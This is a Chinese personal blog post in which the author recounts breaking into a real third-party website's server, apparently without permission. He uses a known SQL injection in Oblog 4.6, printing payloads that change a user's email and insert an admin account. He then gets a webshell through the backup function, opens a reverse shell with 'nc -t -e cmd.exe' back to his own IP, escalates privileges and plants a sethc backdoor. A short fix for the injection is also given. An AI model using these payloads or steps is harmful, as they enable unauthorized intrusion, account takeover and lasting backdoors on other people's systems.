Ψ小川Ψ dě Blog

Home » » XX某Oblog4.6

XX某Oblog4.6

前几天百度某咖啡店的时候遇到了一个饮食娱乐网站,觉得还不错,服务器质量貌似也挺好,可这网站维护的挺好,看了半天没找着下手的地方…… 只能试下旁注了~运气还不错,服务器上一共三个网站,有一个可以注册用户,还有upoload.asp~赶紧注册看看有没有上传漏洞~抓包上传研究了半天,发现传上去的文件服务器都会把名字改了,它识别不了的就会改成*.gif,水平太烂,研究了半天无果,只能放弃…昨天又换了个工具扫了下后台,发现了admin_login.asp,打开一看是Oblog4.6,于是乎百度Oblog4.6漏洞,便有了以下内容,虽然是很老的漏洞,但是不一定无效哦~

我们先来简单分析一下漏洞的成因:漏洞出现在user_diggs.asp文件第304行左右,用Request获得topic的值,然后用oblog.InterceptStr处理后赋给topic。oblog.InterceptStr的作用只是截断字符而已,并没有过滤特殊字符。接着往下看,在第316行就直接把topic放到了SQL语句里进行了数据库操作,这样漏洞就形成了。4.6版的ACCESS和SQL 都存在这个问题,但是因为变量所在的SQL语句是update,所以我们并不能用union来联合暴出密码,唯一的方法就只有用“;”来执行多语句,而ACCESS并不支持多语句,因此漏洞只影响到SQL版本。

接下来是小菜们最关心的问题:怎么利用这个漏洞。我们先注册一个用户随便发篇日志。然后到自己的首页去推荐这篇日志,就是在图中 “推荐”处点击一下。接着回到用户管理后台,点击常用菜单里的“推荐日志”,就会看到刚才我们推荐的日志,我们把鼠标放到“修改”上,会看到推荐日志的id,这里的id是2。接着点击“修改”,在摘要里写入下面这个语句:

s’/**/Where/**/logid=2;update/**/oblog_user/**/set/**/useremail=’竹子’/**/where/**/username=’lovewin2k’;–

这是一个简单的SQL语句,我对它稍做一些解释:其中的s’是为了和前面的’闭合。/**/是注释符,作用是用来代替空格。Logid=2中的2是刚才我们看到的日志id。然后用一个分号结束这一语句,接着是一个新的SQL语句,update/**/oblog_user/**/set/**/useremail=’竹子’/**/where/**/username=’lovewin2k’;–的意思是把oblog_user表里username等于lovewin2k的useremail更改为竹子。单击“确认修改”后提示修改成功。我们去验证一下,看看自己个人资料里的邮箱是不是真的被改成了竹子,可以看到确实已经被更改成了竹子。

关于如何修补漏洞的问题,把存在漏洞的语句

des = oblog.InterceptStr(RemoveHtml(Trim(Request(“edit”))),255)

topic = oblog.InterceptStr(Trim(Request(“topic”)), 255)

替换成

des = oblog.filt_badstr (oblog.InterceptStr(RemoveHtml(Trim(Request(“edit”))),255))

topic = oblog.filt_badstr (oblog.InterceptStr(Trim(Request(“topic”)), 255))

就可以了。

添加管理员的命令

s’/**/WHERE/** /logid=1;insert/**/into/**/oblog_admin/**/(username,password,roleid)values(‘terry’,’49ba59abbe56e057′,0);–

登录后台,地址/admin/admin_login.asp,输入用户名和密码,登录后台成功~下面就该上传webshell了~以前没搞过Oblog,不知道从哪下手,不知道就问百度呗~很快方法就有了~

ACCESS版oblog4.6是有备份功能的,而SQL版里是看不到数据库管理功能的,但是~~用外部链接是完全可以打开的~ http://XXX/admin/admin_database.asp?action=backup

6cfdca3d56edaef29e3d622f
因为是SQL版,想备份成功是不可能的。也许你会问那这个备份有什么用呢?我们看看admin_database.asp这段代码。

sub BackupData()
dim bkfolder,bkdbname,fso
bkfolder=Trim(Request(“bkfolder”)) 显然就Trim去了一下两边空格
bkdbname=Trim(Request(“bkdbname”))
if bkfolder=”” then
FoundErr=True
ErrMsg=ErrMsg & “<br><li>请指定备份目录!</li>”
end if
if bkdbname=”” then
FoundErr=True
ErrMsg=ErrMsg & “<br><li>请指定备份文件名</li>”
end if
if FoundErr=True then exit sub
bkfolder=Server.MapPath(bkfolder)
Set Fso=Server.CreateObject(oblog.CacheCompont(1))
if fso.FileExists(dbpath) then
If fso.FolderExists(bkfolder)=false Then    如果目录不存在就创建一个。
fso.CreateFolder(bkfolder)
end if
fso.copyfile dbpath,bkfolder & “\” & bkdbname & “.asa”

偶菜鸟,这些代码看不懂几个词,但是知道是通过建*.asp目录拿webshell的……赶着睡觉,就直接下手了~

dafdb0de92b0446dcdbf1a3f
保存后配置后,记得要更新系统数据库~~然后进入注册用户的后台,上传文件,因服务器没其他限制,把木马改成*.jpg直接上传就OK~

webshell算是拿到了,浏览了一下,权限设置的有问题,所有的磁盘都能查看,还装了pcAnywhere~赶紧连上去看看~用户名密码没问题,但是机器锁住了,不知道用户密码…只好试试其他方法…

43958端口没开,Serv-u提权失败…上传木马CMD执行,失败…CMD添加用户,失败…Churrasco提权,失败…提权水平太差,看来一时半会是搞不定了,很晚了,所以还是睡觉先~改天再搞~~这服务器已经被人拿过webshell,浏览的时候看到几个后门,还有现成的 cmd 360 Churrasco ……

360的提权工具我还没用过,正好下次可以研究下~

 

大概一年多没研究黑客的东西了,虽然这次依旧是照葫芦画瓢但还算顺利~去Oblog官网看了看,貌似Oblog好久没更新了,就算不更新,站长们也应该多学习学习相关知识把漏洞补一下吧,其实也不难,只要网上公布了的漏洞,都会有修补的办法公布出来,不懂脚本语言也可以照着修改一下的,非得等到被挂马了才补救,多不好~

先记录到这了,改天继续提权……

 

时隔五天终于提权成功~~

这几天有空就去大牛们的blog去转,补了不少的课……

小记一下提权过程

上传aspx的webshell,上传木马及一些提权工具,然后用su提权、cmd等运行了一下,没什么效果,均已失败告终。但是再用webshell的进程查看功能时发现,虽然没效果,但是有一个提权工具运行了,看来还是有一定的权限运行程序。于是上传了一个nc,在本地监听nc -lvp 1000,从webshell运行nc -t -e c:\www\cmd.exe 你机器的IP 1000,成功连接上~~然后运行以前传上去的木马和提权工具。有好几个运行了没效果,只有360的那个有回显,并显示成功操作~~哈哈,赶紧试了一下3389的sethc后门,成功打开cmd~~然后再次运行木马~ok~终于上线了~~

另:删除Sethc后门方法:删除注册表中的”HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe”即可

No comment yet.

添加评论

? razz sad evil ! smile oops grin eek shock ??? cool lol mad twisted roll wink idea arrow neutral cry mrgreen mrgreen

0 + 9 =